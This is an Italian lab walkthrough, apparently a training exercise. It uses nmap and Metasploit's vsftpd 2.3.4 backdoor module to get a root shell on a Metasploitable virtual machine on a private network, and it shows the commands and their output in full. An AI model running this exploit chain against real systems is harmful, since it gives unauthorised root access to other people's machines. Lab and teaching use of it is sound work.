HACKING CON METASPLOIT

Completare una sessione di hacking sulla macchina Metasploitable, sul servizio «vsftpd»

Con il comando sudo nano /etc/network/interfaces, andiamo a configuare la macchina metasploitable con l'indirizzo ip richiesto

```
┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- -sV 192.168.1.149
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-20 12:39
Nmap scan report for 192.168.1.149
Host is up (0.00020s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 2.3.4
```

Andiamo ad effettuare una scansione della macchina metasploitable, utilizzando nmap sulla nostra macchina kali

HACKING CON METASPLOIT

```
┌──(kali㉿kali)-[~]
└─$ msfconsole
Metasploit tip: Use the 'capture' plugin to start multiple
authentication-capturing and poisoning services
```

Avviamo metasploit con il comando msfconsole

Cerchiamo gli exploit presenti per vsftpd

```
msf6 > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  auxiliary/dos/ftp/vsftpd_232          2011-02-03       normal     Yes    VSFTPD 2.3.2 Denial of Service
   1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Ex

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 >
```

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

Con il comando use e il nome dell’exploit lo andiamo a selezionare

HACKING CON METASPLOIT

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS ⇒ 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][ ... ]
   RHOSTS   192.168.1.149    yes       The target host(s), see https://docs.metasploit.com/docs/using
   RPORT    21               yes       The target port (TCP)
```

Dopo aver verificato il payload con show payloads, utilizzando show options per visionare la configurazione del nostro attacco e con il comando set, effettuiamo le modifiche. RHOSTS corrisponde all'indirizzo IP della macchina target. RPORT corrisponde alla porta sulla macchina target dove il servizio è in ascolto

Effettuiamo l'attacco con exploit e controlliamo se abbia avuto successo controllando che l'indirizzo ip della macchina, corrisponda con l'indirizzo target

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.4:43333 → 192.168.1.149:6200) at 2024-05-20 12:48:37 +0200

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:5b:2b:5f
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe5b:2b5f/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:66609 errors:0 dropped:0 overruns:0 frame:0
          TX packets:66323 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:4283359 (4.0 MB)  TX bytes:3650554 (3.4 MB)
          Base address:0xd020 Memory:f0200000-f0220000
```

HACKING CON METASPLOIT

```
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
mkdir /root/test_metasploit
```

Andiamo a creare una cartella di test nella directory root della macchina metaploitable, che come possiamo notare è visibile all'interno della macchina attaccata, all'dimostrandoci di essere effettivamente all'interno